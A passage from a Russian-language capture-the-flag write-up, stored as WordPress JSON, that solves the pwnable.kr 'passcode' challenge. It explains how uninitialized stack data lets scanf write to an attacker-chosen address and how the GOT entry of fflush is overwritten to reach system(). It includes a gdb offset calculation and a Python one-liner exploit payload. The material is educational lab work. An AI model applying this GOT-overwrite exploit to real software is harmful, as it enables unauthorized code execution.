\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u0422\u043e \u0435\u0441\u0442\u044c scanf() \u0437\u0430\u043f\u0438\u0448\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0431\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vt\/5m\/w4\/vt5mw46djsyiiqhn5h7veqoi8b4.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 \u0434\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 login, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0434 \u044d\u0442\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0442\u043e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u043e \u043b\u044e\u0431\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 (\u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b).<\/p>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f login() \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 welcome(), \u0442\u043e \u043e\u043d\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0442\u0435\u043a\u043e\u0432\u044b\u0445 \u043a\u0430\u0434\u0440\u043e\u0432.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tj\/zr\/yi\/tjzryim0sirg0i4t3agtqk4loty.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u043c\u043e\u0436\u0435\u043c \u043b\u0438 \u043c\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u043c\u0435\u0441\u0442\u043e \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e passcode1. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 gdb \u0438 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u0443\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 login() \u0438 welcome(). \u0422\u0430\u043a \u043a\u0430\u043a \u0432 \u043e\u0431\u043e\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 scanf \u0438\u043c\u0435\u0435\u0442 \u0434\u0432\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0442\u043e \u0430\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u0435\u0440\u0432\u044b\u043c. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0430\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 passcode1 \u0440\u0430\u0432\u0435\u043d ebp-0x10, \u0430 name \u2014 ebp-0x70.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qv\/sj\/li\/qvsjliyjrjehr1lmvptgi5piju4.png\" alt=\"image\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/5t\/uy\/z3\/5tuyz3pptyf76e32xe2idow-rnm.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u043c \u0430\u0434\u0440\u0435\u0441 passcode1 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e name, \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f ebp:  <\/p>\n<blockquote><p>(&amp;name) \u2014 (&amp;passcode1) = (ebp-0x70) \u2014 (ebp-0x10) = -96<br \/>  &amp;passcode1 == &amp;name + 96<\/p><\/blockquote>\n<p> \u0422\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 4 \u0431\u0430\u0439\u0442\u0430 name \u2014 \u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u201c\u043c\u0443\u0441\u043e\u0440\u201d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 login.<\/p>\n<p>  \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0432\u0438\u0434\u0435\u043b\u0438, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0432 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 GOT. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u043e \u0438 \u0437\u0434\u0435\u0441\u044c. \u0422\u0430\u043a \u043a\u0430\u043a \u0437\u0430 scanf() \u0438\u0434\u0435\u0442 flush, \u0442\u043e \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 GOT, \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u0430\u0434\u0440\u0435\u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system() \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u043b\u0430\u0433\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kx\/8i\/fk\/kx8ifk5y4nzodxayzfdr0pyfjaa.png\" alt=\"image\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hh\/2l\/sx\/hh2lsxqchatzgvyhvzi_xqj8-ac.png\" alt=\"image\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/nc\/vd\/bw\/ncvdbwjevpugfpt62no2jrnbumk.png\" alt=\"image\"><\/p>\n<p>  \u0422\u043e \u0435\u0441\u0442\u044c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x804a004 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c 0x80485e3 \u0432 \u0434\u0435\u0441\u044f\u0442\u0438\u0447\u043d\u043e\u043c \u0432\u0438\u0434\u0435.<\/p>\n<pre><code class=\"bash\">python -c \"print('A'*96 + '\\x04\\xa0\\x04\\x08' + str(0x080485e3))\" | .\/passcode<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/rh\/pu\/gf\/rhpugfjpmu0ykmcgyc_geflsm5s.png\" alt=\"image\"><\/p>\n<p>  \u041a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 10 \u043e\u0447\u043a\u043e\u0432, \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0430\u043c\u043e\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/mg\/fm\/0-\/mgfm0-rba6sb8aehxzm583xrrg4.png\" alt=\"image\"><\/p>\n<p>  \u0424\u0430\u0439\u043b\u044b \u043a \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u044b \u0432 <a href=\"https:\/\/t.me\/RalfHackerChannel\">Telegram \u043a\u0430\u043d\u0430\u043b\u0435<\/a>. \u0414\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445!<\/div>\n<p>               <script class=\"js-mediator-script\">!function(e){function t(t,n){if(!(n in e)){for(var r,a=e.document,i=a.scripts,o=i.length;o--;)if(-1!==i[o].src.indexOf(t)){r=i[o];break}if(!r){r=a.createElement(\"script\"),r.type=\"text\/javascript\",r.async=!0,r.defer=!0,r.src=t,r.charset=\"UTF-8\";var d=function(){var e=a.getElementsByTagName(\"script\")[0];e.parentNode.insertBefore(r,e)};\"[object Opera]\"==e.opera?a.addEventListener?a.addEventListener(\"DOMContentLoaded\",d,!1):e.attachEvent(\"onload\",d):d()}}}t(\"\/\/mediator.mail.ru\/script\/2820404\/\",\"_mediator\")}(window);<\/script>     <br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/460647\/\"> https:\/\/habr.com\/ru\/post\/460647\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html js-mediator-article\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/al\/py\/ef\/alpyefagnx81cc2xc1ncjqs8lus.png\" alt=\"image\"><\/div>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c: \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0441\u0432\u044f\u0437\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 \u0438 \u0435\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. \u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0448\u0438\u043c 5-\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0441 \u0441\u0430\u0439\u0442\u0430 <a href=\"https:\/\/pwnable.kr\/index.php\">pwnable.kr<\/a>.<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b><\/p>\n<div class=\"spoiler_text\">\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u0441\u0444\u0435\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u044f \u0431\u0443\u0434\u0443 \u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u0445:<\/p>\n<ul>\n<li>PWN;<\/li>\n<li>\u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f (Crypto);<\/li>\n<li>c\u0435\u0442\u0435\u0432\u044b\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 (Network);<\/li>\n<li>\u0440\u0435\u0432\u0435\u0440\u0441 (Reverse Engineering);<\/li>\n<li>\u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f (Stegano);<\/li>\n<li>\u043f\u043e\u0438\u0441\u043a \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f WEB-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.<\/li>\n<\/ul>\n<p>  \u0412\u0434\u043e\u0431\u0430\u0432\u043e\u043a \u043a \u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u043e\u0434\u0435\u043b\u044e\u0441\u044c \u0441\u0432\u043e\u0438\u043c \u043e\u043f\u044b\u0442\u043e\u043c \u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0435, \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a, \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0442\u0438, \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-292314","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/292314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=292314"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/292314\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=292314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=292314"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=292314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}